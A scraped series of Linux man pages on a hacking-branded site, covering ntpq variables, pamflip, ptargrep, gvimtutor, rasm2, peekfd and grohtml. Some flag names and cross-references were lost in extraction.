mreadvar assocID assocID [ variable_name [ = value[ … ], mrv assocID assocID [ variable_name [ = value[ … ]

Perform the same function as the readvar command, except for a range of association IDs. This range is determined from the association list cached by the most recent associations command.

opeers

Obtain and print the old-style list of all peers and clients showing dstadr (associated with any given IP version), rather than the refid.

passociations

Perform the same function as the associations command, except that it uses previously stored data rather than making a new query.

peers

Display a list of peers in the form

tally remote refid st t when pool reach delay offset jitter

VariableDescription
tally

single-character code indicating current value of the select field of the

remotehost name (or IP address) of server
refid

association ID or

ststratum
tu: server (u for unicast), l: local (reference clock), p: Pool name, 1-8 NTS server with this number of cookies stored.
whensec/min/hr since last received packet
pollpoll interval (log2 s)
reachreach shift register (octal)
delayroundtrip delay
offsetoffset of server relative to this host
jitterjitter

The t column has strange encodings due to historical use by old code. If you are looking at an old server, you might also see: s: symmetric (peer), server, B: broadcast server,

The tally code is one of the following:

CodeDescription
discarded as not valid
xdiscarded by intersection algorithm
.discarded by table overflow (not used)
-discarded by the cluster algorithm
+included by the combine algorithm
#backup (more than tos maxclock sources)
*system peer
oPPS peer (when the prefer peer is valid)

apeers

Display a list of peers in the form:

[tally]remote refid assid st t when pool reach delay offset jitter

where the output is just like the peers command except that the refid is displayed in hex format and the association number is also displayed.

rpeers

Display a list of peers in the form

st t when pool reach delay offset jitter refid tally remote

pstats assocID

Show the statistics for the peer with the given assocID.

readvar assocID [ name ] [,…], rv assocID [ name ] [,…]

Display the specified variables. If assocID is zero, the variables are from the system variables <#system> name space, otherwise they are from the peer variables <#peer> name space. The assocID is required, as the same name can occur in both spaces. If no name is included, all operative variables in the name space are displayed. In this case only, if the assocID is omitted, it is assumed zero. Multiple names are specified with comma separators and without whitespace. Note that time values are represented in milliseconds and frequency values in parts-per-million (PPM). Some NTP timestamps are represented in the format YYYYMMDDTTTT, where YYYY is the year, MM the month of the year, DD the day of the month and TTTT the time of day.

reslist

Show the access control (restrict) list for ntpq.

timerstats

Display interval timer counters.

writelist assocID

Write the system or peer variables included in the variable list.

writevar assocID name = value [,…]

Write the specified variables. If the assocID is zero, the variables are from the system variables <#system> name space, otherwise they are from the peer variables <#peer> name space. The assocID is required, as the same name can occur in both spaces.

sysinfo

Display operational summary.

sysstats

Print statistics counters maintained in the protocol module. Note that the relationships among these counters can look unlikely because packets can get flagged for inclusion in exception statistics in more than one way, for example by having both a bad length and an old version.

mssntpinfo

Display a summary of the MS-SNTP traffic to a Samba server. This won’t work unless the server you are looking at was built with the –enable-mssntp option.

ntsinfo

Display a summary of the NTS state, including both the the NTS client and NTS server components. Note that the format of the output text may change as this feature is developed. This command is experimental until further notice and clarification.

AUTHENTICATION

Four commands require authentication to the server: config-from-file, config, ifstats, and reslist. An authkey file must be in place and a control key declared in ntp.conf for these commands to work.

If you are running as root or otherwise have read access to the authkey and ntp.conf file, ntpq will mine the required credentials for you. Otherwise, you will be prompted to enter a key ID and password.

Credentials once entered, are retained and used for the duration of your ntpq session.

STATUS WORDS AND KISS CODES

The current state of the operating program is shown in a set of status words maintained by the system and each association separately. These words are displayed in the rv and as commands both in hexadecimal and decoded short tip strings. The codes, tips, and short explanations are on the Event Messages and Status Words <decode.html> page. The page also includes a list of system and peer messages, the code for the latest of which is included in the status word.

Information resulting from protocol machine state transitions is displayed using an informal set of ASCII strings called kiss codes <decode.html#kiss>. The original purpose was for kiss-o-death (KoD) packets sent by the server to advise the client of an unusual condition. They are now displayed, when appropriate, in the reference identifier field in various billboards.

SYSTEM VARIABLES

The following system variables appear in the rv billboard. Not all variables are displayed in some configurations.

VariableDescription
status
versionNTP software version and build time
processorhardware platform and version
systemoperating system and version
leapleap warning indicator (0-3)
stratumstratum (1-15)
precisionprecision (log2 s)
rootdelaytotal roundtrip delay to the primary reference clock
rootdisptotal dispersion to the primary reference clock
peersystem peer association ID
tctime constant and poll exponent (log2 s) (3-17)
mintcminimum time constant (log2 s) (3-10)
clockdate and time of day
refid

reference ID or

reftimereference time
offsetcombined offset of server relative to this host
sys_jittercombined system jitter
frequencyfrequency offset (PPM) relative to hardware clock
clk_wanderclock frequency wander (PPM)
clk_jitterclock jitter
taiTAI-UTC offset (s)
leapsecNTP seconds when the next leap second is/was inserted
expireNTP seconds when the NIST leapseconds file expires

The jitter and wander statistics are exponentially-weighted RMS averages. The system jitter is defined in the NTPv4 specification; the clock jitter statistic is computed by the clock discipline module.

PEER VARIABLES

The following peer variables appear in the rv billboard for each association. Not all variables are displayed in some configurations.

VariableDescription
associdassociation ID
status
srcadr srcportsource (remote) IP address and port
dstadr dstportdestination (local) IP address and port
leapleap indicator (0-3)
stratumstratum (0-15)
precisionprecision (log2 s)
rootdelaytotal roundtrip delay to the primary reference clock
rootdisptotal root dispersion to the primary reference clock
refid

reference ID or

reftimereference time
reachreach register (octal)
unreachunreach counter
hmodehost mode (1-6)
pmodepeer mode (1-5)
hpollhost poll exponent (log2 s) (3-17)
ppollpeer poll exponent (log2 s) (3-17)
headway

headway (see

the Kiss-o-Death Packet)"

flash
offsetfilter offset
delayfilter delay
dispersionfilter dispersion
jitterfilter jitter
biasfudge for asymmetric links/paths

CLOCK VARIABLES

The following clock variables appear in the cv billboard for each association with a reference clock. Not all variables are displayed in some configurations.

VariableDescription
associdassociation ID
status
devicedevice description
timecodeASCII time code string (specific to device)
pollpoll messages sent
noreplyno reply
badformatbad format
baddatabad date or time
fudgetime1fudge time 1
fudgetime2fudge time 2
stratumdriver stratum
refiddriver reference ID
flagsdriver flags

COMPATIBILITY

When listing refids, addresses of the form 127.127.x.x are no longer automatically interpreted as local refclocks as in older versions of ntpq. Instead, a clock-format display is requested by the NTPsec daemon when appropriate (by setting the srcaddr peer variable). This means that when used to query legacy versions of ntpd, which do not know how to request this, this program will do a slightly wrong thing.

In older versions, the type variable associated with a reference clock was a numeric driver type index. It has been replaced by name, a shortname for the driver type.

In older versions, no count of control packets was listed under sysstats.

The -O (--old-rv) option of legacy versions has been retired.

KNOWN LIMITATIONS

It is possible for a “:config unpeer” command to fail silently, yielding “Config Succeeded”, if it is given a peer identifier that looks like a driver type name or a hostname not present in the peer list. The error will, however, be reported in the system log.

The config command cannot be used to change a server’s default restrictions.

Under some circumstances python 2 cannot emit unicode. When true, the display of units is downgraded to non-unicode alternatives. One place a user is likely to encounter this is when diverting output through a pipe. Attempts have been made to force the use of UTF-8, all of which break the command history feature.

When using the -u option, very old xterms may fail to render μ correctly. If this happens, be sure your xterm is started with the -u8 option, or the utf8 resource, and that your console font contains the UTF-8 μ character. Also confirm your LANG environment variable is set to a UTF-8 language, like this: “export LANG=en_US.utf8”.

Timestamp interpretation in this program is likely to fail in flaky ways if the local system clock has not already been approximately synchronized to UTC. Querying a server based in a different NTP era than the current one is especially likely to fail.

This program will behave in apparently buggy and only semi-predictable ways when fetching MRU lists from any server with sufficiently high traffic.

The problem is fundamental. The Mode 6 protocol can’t ship (and your client cannot accept) MRU records as fast as the daemon accepts incoming traffic. Under these circumstances, the daemon will repeatedly fail to ship an entire report, leading to long hangs as your client repeatedly re-sends the request. Eventually the Mode 6 client library will throw an error indicating that a maximum number of restarts has been exceeded.

To avoid this problem, avoid monitoring over links that don’t have enough capacity to handle the monitored server’s entire NTP load.

You may be able to retrieve partial data in very high-traffic conditions by using the direct option.

EXIT STATUS

One of the following exit values will be returned:

0 (EXIT_SUCCESS)

Successful program execution.

1 (EXIT_FAILURE)

The operation failed or the command syntax was not valid.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

344 - Linux cli command pamflip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamflip and provides detailed information about the command pamflip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamflip.

.

NAME 🖥️ pamflip 🖥️

flip or rotate a PAM or PNM image

SYNOPSIS

pamflip { -leftright | -lr | -topbottom | -tb | -transpose | -xy | -rotate90 | -r90 | -cw | -rotate270 | -r270 | -ccw | -rotate180 | -r180 -null | **-xform=xform1,xform2… } [-memsize=mebibytes] [-pagesize=**bytes] [pamfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamflip flips a PAM or PNM image top for bottom or left for right, or transposes it horizontal for vertical, or rotates it 1, 2, or 3 quarter turns.

To rotate at other angles, use pnmrotate. It is much slower, though.

The input image is pamfile, or Standard Input if pamfile is not specified.

To flip/rotate a JFIF (JPEG) image losslessly, use jpegtran. jpegtran is part of the Independent Jpeg Group’s compression library package, not part of Netpbm. The normal Netpbm way to flip a JFIF file would be to convert it to PNM, use pamflip, and convert back to JFIF. But since JPEG compression is lossy, the resulting image would have less quality than the original. jpegtran, on the other hand, can do this particular transformation directly on the compressed data without loss.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamflip recognizes the following command line options:

Specifying the Transformation

You must supply exactly one of the following options:

pamflip’s predecessor (before Netpbm 10.7 - August 2002) pnmflip did not have the -xform option and instead allowed you to specify any number of the other options, including zero. It applied all the indicated transformations, in the order given, just like with pamflip’s -xform option. (Reason for the change: this kind of interpretation of options is inconsistent with the rest of Netpbm and most of the Unix world, and thus hard to understand and to implement).

-leftright
-lr
Flip left for right.

-topbottom
-tb
Flip top for bottom.

-transpose
-xy
Transpose horizontal for vertical. I.e. make the pixel at (x,y) be at (y,x).

-rotate90
-r90
-ccw
Rotate counterclockwise 90 degrees.

-rotate180
-r180
Rotate 180 degrees.

-rotate270
-r270
-cw
Rotate counterclockwise 270 degrees (clockwise 90 degrees)

-null
No change. (The purpose of this option is the convenience of programs that invoke pamflip after computing the kind of transformation desired, including none at all).

This option was new in Netpbm 10.13 (December 2002).

**-xform=xform1,**xform2
Apply all the transforms listed, in order. The valid values for the transforms are as follows and have the same meanings as the identically named options above.

  • leftright

  • topbottom

  • transpose

This option was new in Netpbm 10.13 (December 2002).

Memory Management

The following options help pamflip use memory efficiently. Some flipping operations on very large images can cause pamflip to have a very large working set, which means if you don’t have enough real memory, the program can page thrash, which means it takes a ridiculous amount time to run. If your entire image fits in real memory, you don’t have a problem. If you’re just flipping top for bottom or left for right, you don’t have a problem. Otherwise, pay attention. If you’re interested in the details of the thrashing problem and how pamflip approaches it, you’re invited to read a complete explanation in comments in the source code.

**-memsize=**mebibytes
mebibytes is the size in mebibytes (aka megabytes) of memory available for pamflip. It is the lesser of the amount of real or virtual memory available.

pamflip does nothing special to allocate real memory or control it’s allocation – it gets whatever it gets just by referencing virtual memory normally. The real memory figure in question is the maximum amount that pamflip can be expected to end up with by doing that. This is just about impossible for you to know, of course, but you can estimate. The total real memory in your system should be a major factor in your estimate.

If pamflip cannot fit the entire image in the amount of memory you specify, it does the transformation in chunks, using temporary files for intermediate results.

In strict horizontal transformations (left for right) or the null transformation, pamflip never keeps more than one row in memory, so the memory size is irrelevant and pamflip doesn’t use temporary files.

In strict vertical transformations (top for bottom), even when you allow pamflip enough memory to keep the entire image in virtual memory, it accesses it in a single pass, which does not cause any thrashing; the chunks in temporary files thus don’t help.

The real memory is important when you do a column for row type of transformation (e.g. -rotate90). In that case, even if pamflip can fit the entire image in virtual memory at once, if it does not also fit in real memory, the program will thrash like crazy because of the order in which pamflip accesses the pixels, and that means it will take a ridiculously long time to run. A proper -memsize drastically reduces the paging.

If you specify -memsize too large, pamflip may attempt to get more virtual memory than the system allows it and fail. If it can get the virtual memory, but -memsize is larger than the amount of real memory the system allows it and the transformation is row for column, it will page thrash and run very slowly. A value even slightly too high is the same as infinity.

If you specify -memsize too small, the program will run slightly more slowly because of extra overhead in manipulating temporary files. Also, if your environment isn’t set up to make temporary files possible, pamflip will fail.

Doing the entire transformation “in memory” doesn’t speed things up as much as you might think, because even with the temporary files, the data is just as likely to be in memory. Virtual memory gets paged to disk and disk files get cached in memory. In fact, the pixels fit much more compactly into memory when stored in a temporary file than when stored “in memory” because pamflip uses a more efficient format. So you’re likely to have less disk I/O when you allow pamflip less memory.

If you do not specify -memsize, pamflip assumes infinity.

This option did not exist before Netpbm 10.7 (August 2002).

Before Netpbm 10.42 (March 2008), this option applied only to real memory. pamflip would always keep the entire image in virtual memory and if it could not get enough virtual memory, it failed. pamflip accessed the pixels in an order designed to keep real memory use within the specified amount.

**-pagesize=**bytes
bytes is the size in bytes of a paging unit – the amount of memory that gets paged in or out as an indivisible unit – in your system. The default is 4KiB.

This option has no effect.

Before Netpbm 10.42 (March 2008), pamflip used it to control its use of real memory.

This option did not exist before Netpbm 10.7 (August 2002).

Miscellaneous

-verbose
This option causes pamflip to issue messages to Standard Error about its progress.

SEE ALSO

pnmrotate(1) , pnm(1) , pam(1) , jpegtran manual

HISTORY

pamflip replaced pnmflip in Netpbm 10.13 (December 2002). pamflip is backward compatible, but also works on PAM images.

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamflip.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

345 - Linux cli command ptargrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ptargrep and provides detailed information about the command ptargrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ptargrep.

NAME 🖥️ ptargrep 🖥️

Apply pattern matching to the contents of files in a tar archive

SYNOPSIS

ptargrep [options] <pattern> <tar file> … Options: –basename|-b ignore directory paths from archive –ignore-case|-i do case-insensitive pattern matching –list-only|-l list matching filenames rather than extracting matches –verbose|-v write debugging message to STDERR –help|-? detailed help message

DESCRIPTION

This utility allows you to apply pattern matching to the contents of files contained in a tar archive. You might use this to identify all files in an archive which contain lines matching the specified pattern and either print out the pathnames or extract the files.

The pattern will be used as a Perl regular expression (as opposed to a simple grep regex).

Multiple tar archive filenames can be specified - they will each be processed in turn.

OPTIONS

–basename (alias -b)
When matching files are extracted, ignore the directory path from the archive and write to the current directory using the basename of the file from the archive. Beware: if two matching files in the archive have the same basename, the second file extracted will overwrite the first.

–ignore-case (alias -i)
Make pattern matching case-insensitive.

–list-only (alias -l)
Print the pathname of each matching file from the archive to STDOUT. Without this option, the default behaviour is to extract each matching file.

–verbose (alias -v)
Log debugging info to STDERR.

–help (alias -?)
Display this documentation.

COPYRIGHT

Copyright 2010 Grant McLean <[email protected]>

This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

346 - Linux cli command gvimtutor

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gvimtutor and provides detailed information about the command gvimtutor, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gvimtutor.

NAME 🖥️ gvimtutor 🖥️

the Vim tutor

SYNOPSIS

vimtutor [-g] [language]

DESCRIPTION

Vimtutor starts the Vim tutor. It copies the tutor file first, so that it can be modified without changing the original file.

The Vimtutor is useful for people that want to learn their first Vim commands.

The optional argument -g starts vimtutor with gvim rather than vim, if the GUI version of vim is available, or falls back to Vim if gvim is not found.

The optional [language] argument is the two-letter name of a language, like “it” or “es”. If the [language] argument is missing, the language of the current locale will be used. If a tutor in this language is available, it will be used. Otherwise the English version will be used.

Vim is always started in Vi compatible mode.

FILES

/usr/share/vim/vim91/tutor/tutor[.language]
The Vimtutor text file(s).

/usr/share/vim/vim91/tutor/tutor.vim
The Vim script used to copy the Vimtutor text file.

AUTHOR

The Vimtutor was originally written for Vi by Michael C. Pierce and Robert K. Ware, Colorado School of Mines using ideas supplied by Charles Smith, Colorado State University. E-mail: [email protected] (now invalid).
It was modified for Vim by Bram Moolenaar. For the names of the translators see the tutor files.

SEE ALSO

vim(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

347 - Linux cli command rasm2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rasm2 and provides detailed information about the command rasm2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rasm2.

This tool uses r_asm to assemble and disassemble files or hexpair strings. It supports a large list of architectures which can be listed using the -L flag.

Set architecture plugin

Show analysis information of given hexpair string

Set architecture bits

Binary input/output (-l is mandatory for binary input)

Select specific CPU (depends on -a arch)

Output in C format

Disassemble hexpair bytes. rasm2 -d 9090

Disassemble showing hexpair and opcode

Use big endian (or swap endianness if used more than once)

Output disassembled instructions in ESIL format.

Read data from file instead of ARG.

Specify input and/or output filters (att2intel, x86.pseudo, …)

Show usage help message.

Show long help message including supported assembler directives

Input/Output length

Ignore/skip N bytes from the beginning of the input buffer

List loaded asm plugins

List loaded anal plugins

List loaded arch plugins

Offset of the opcode to assemble (default is 0)

Alias for -o

Dont load any plugin, same as R2_NOPLUGINS=1 or r2 -NN

output to file, for example ‘rasm2 -BF a a.asm’

Show output in r2 script

Select syntax output (intel, att)

Describe opcode (whats op)

Use hex dwords instead of hexpairs in the assembler output

Quiet output (handy for -L, -v, …)

List the supported assembler and preprocessor directives with:

$rasm2 -hh

Assemble opcode:

$ rasm2 -a x86 -b 32 ‘mov eax, 33’

Disassemble opcode:

$ rasm2 -d 90

pancake <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

348 - Linux cli command peekfd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command peekfd and provides detailed information about the command peekfd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the peekfd.

NAME 🖥️ peekfd 🖥️

peek at file descriptors of running processes

SYNOPSIS

peekfd [-8,–eight-bit-clean] [-n,–no-headers] [-c,–follow] [-d,–duplicates-removed] [-V,–version] [-h,–help] pid [fd] [fd] …

DESCRIPTION

peekfd attaches to a running process and intercepts all reads and writes to file descriptors. You can specify the desired file descriptor numbers or dump all of them.

OPTIONS

-8
Do no post-processing on the bytes being read or written.

-n
Do not display headers indicating the source of the bytes dumped.

-c
Also dump the requested file descriptor activity in any new child processes that are created.

-d
Remove duplicate read/writes from the output. If you’re looking at a tty with echo, you might want this.

-v
Display a version string.

-h
Display a help message.

FILES

/proc/*/fd

Not used but useful for the user to look at to get good file descriptor numbers.

ENVIRONMENT

None.

DIAGNOSTICS

The following diagnostics may be issued on stderr:

**Error attaching to pid **<PID>
An unknown error occurred while attempted to attach to a process, you may need to be root.

BUGS

Probably lots. Don’t be surprised if the process you are monitoring dies.

AUTHOR

Trent Waddington

SEE ALSO

ttysnoop(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

349 - Linux cli command post-grohtml

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command post-grohtml and provides detailed information about the command post-grohtml, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the post-grohtml.

Name

grohtml, post-grohtml, pre-grohtml - groff output driver for HTML

Synopsis

pre-grohtml [-epV] [-a anti-aliasing-text-bits] [-D image-directory] [-F font-directory] [-g anti-aliasing-graphic-bits] [-i resolution] [-I image-stem] [-o image-vertical-offset] [-x html-dialect] troff-command troff-argument . . . pre-grohtml –help pre-grohtml -v pre-grohtml –version post-grohtml [-bCGhlnrVy] [-F font-directory] [-j output-stem] [-s base-point-size] [-S heading-level] [-x html-dialect] [*file *. . .] post-grohtml –help post-grohtml -v post-grohtml –version

Description

The GNU roff system’s HTML support consists of a preprocessor, pre-grohtml, and an output driver, post-grohtml; together, they translate

documents to HTML. Because a preprocessor is (uniquely) required for this output driver, users should invoke grohtml via the

command with the -Thtml or -Txhtml options. (In this installation, ps is the default output device.) Use groff’s -P option to pass any options shown above to grohtml. If no operands are given, or if file is “-”, grohtml reads the standard input stream. Output is written to the standard output stream.

grohtml invokes groff twice. In the first pass, the preprocessor pre-grohtml renders pictures, equations, and tables as images in PostScript format using the ps output device. In the second pass, the output driver post-grohtml translates the output of

to HTML.

grohtml writes output encoded in UTF-8 and has built-in HTML entities for all non-composite Unicode characters. In spite of this, groff may issue warnings about unknown special characters if they can’t be found during the first pass. Such warnings can be safely ignored unless the special characters appear inside a table or equation.

Typefaces

grohtml supports the standard four styles: R (roman), I (italic), B (bold), and BI (bold-italic). Fonts are grouped into families T and C having members in each style.

TR
Times roman

TI Times italic

TB Times bold

TBI Times bold-italic

CR Courier roman

CI Courier italic

CB Courier bold

CBI Courier bold-italic

A special font, S, is also provided to accommodate roff documents that expect it to always be available.

Font description files

The font description files used with grohtml expose the same glyph repertoire in their charset sections. See

Dependencies

pre-grohtml generates an image whenever an eqn equation, tbl table, or pic picture is encountered in the input. grohtml therefore may run several commands as part of its operation. These include the Netpbm tools pnmcrop, pnmcut, and pnmtopng; Ghostscript (gs); and the PSUtils tool psselect.

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

-a* anti-aliasing-text-bits*
Number of bits of antialiasing information to be used by text when generating PNG images. The default is 4 but 0, 1, and 2 are also valid. Your system’s version of gs must support the -dTextAlphaBits option in order to exploit antialiasing. A value of 0 stops grohtml from issuing antialiasing commands to gs.

-b
Initialize the background color to white.

-C
Suppress output of “CreationDate:” HTML comment.

-D* image-directory*
Instruct grohtml to place all image files into directory image-directory.

-e
Direct eqn to produce MathML.

This option should not be manually specified; it is synthesized by groff depending on whether it was given the -Thtml or -Txhtml option.

-F* font-directory*
Prepend directory font-directory*/dev*name to the search path for font and device description files; name is the name of the device, usually html.

-g* anti-aliasing-graphic-bits*
Number of bits of antialiasing information to be used by graphics when generating PNG images. The default is 4 but 0, 1, and 2 are also valid. Your system’s version of gs must support the -dGraphicAlphaBits option in order to exploit antialiasing. A value of 0 stops grohtml from issuing antialiasing commands to gs.

-G
Suppress output of “Creator:” HTML comment.

-h
Generate section headings by using HTML B elements and increasing the font size, rather than HTML H elements.

-i* resolution*
Set the image resolution in pixels per inch; the default is 100.

-I* image-stem*
Determine the image file name stem. If omitted, grohtml uses *grohtml-*XXXXX (where XXXXX is the process ID). A dash is appended to the stem to separate it from the following image number.

-j* output-stem*
Instruct grohtml to split the HTML output into multiple files. Output is written to a new file at each section heading (but see option -S below) named output-stem-n.html.

-l
Turn off the production of automatic section links at the top of the document.

-n
Generate simple heading anchors whenever a section/number heading is found. Without the option the anchor value is the textual heading. This can cause problems when a heading contains a “?” on older versions of some browsers. This feature is automatically enabled if a heading contains an image.

-o* image-vertical-offset*
Specify the vertical offset of images in points.

-p
Display page rendering progress to the standard error stream. grohtml displays a page number only when an image is required.

-r
Turn off the automatic header and footer line (HTML rule).

-s* base-type-size*
Set the document’s base type size in points. When this size is used in the source, it corresponds to the HTML base type size. Every increase of two points in the source will produce a “big” element, and conversely when a decrease of two points is seen, a “small” element is emitted.

-S* heading-level*
When splitting HTML output (see option -j above), split at each nested heading level defined by heading-level, or higher). The default is 1.

-V
Create an XHTML or HTML validator button at the bottom of each page of the document.

-x* html-dialect*
Select HTML dialect. Currently, html-dialect should be either the digit 4 or the letter x, which indicates whether grohtml should generate HTML 4 or XHTML, respectively.

This option should not be manually specified; it is synthesized by groff depending on whether it was given the -Thtml or -Txhtml option.

-y
Produce a right-aligned groff signature at the end of the document (only if -V is also specified).

Environment

GROFF_FONT_PATH
lists directories in which to search for devhtml, grohtml’s directory of device and font description files. See

and

SOURCE_DATE_EPOCH
A timestamp (expressed as seconds since the Unix epoch) to use as the output creation timestamp in place of the current time. The time is converted to human-readable form using

and

and recorded in an HTML comment.

TZ
The time zone to use when converting the current time to human-readable form; see

If SOURCE_DATE_EPOCH is used, it is always converted to human-readable form using UTC.

Files

/usr/share/groff/1.23.0/font/devhtml/DESC
describes the html output device.

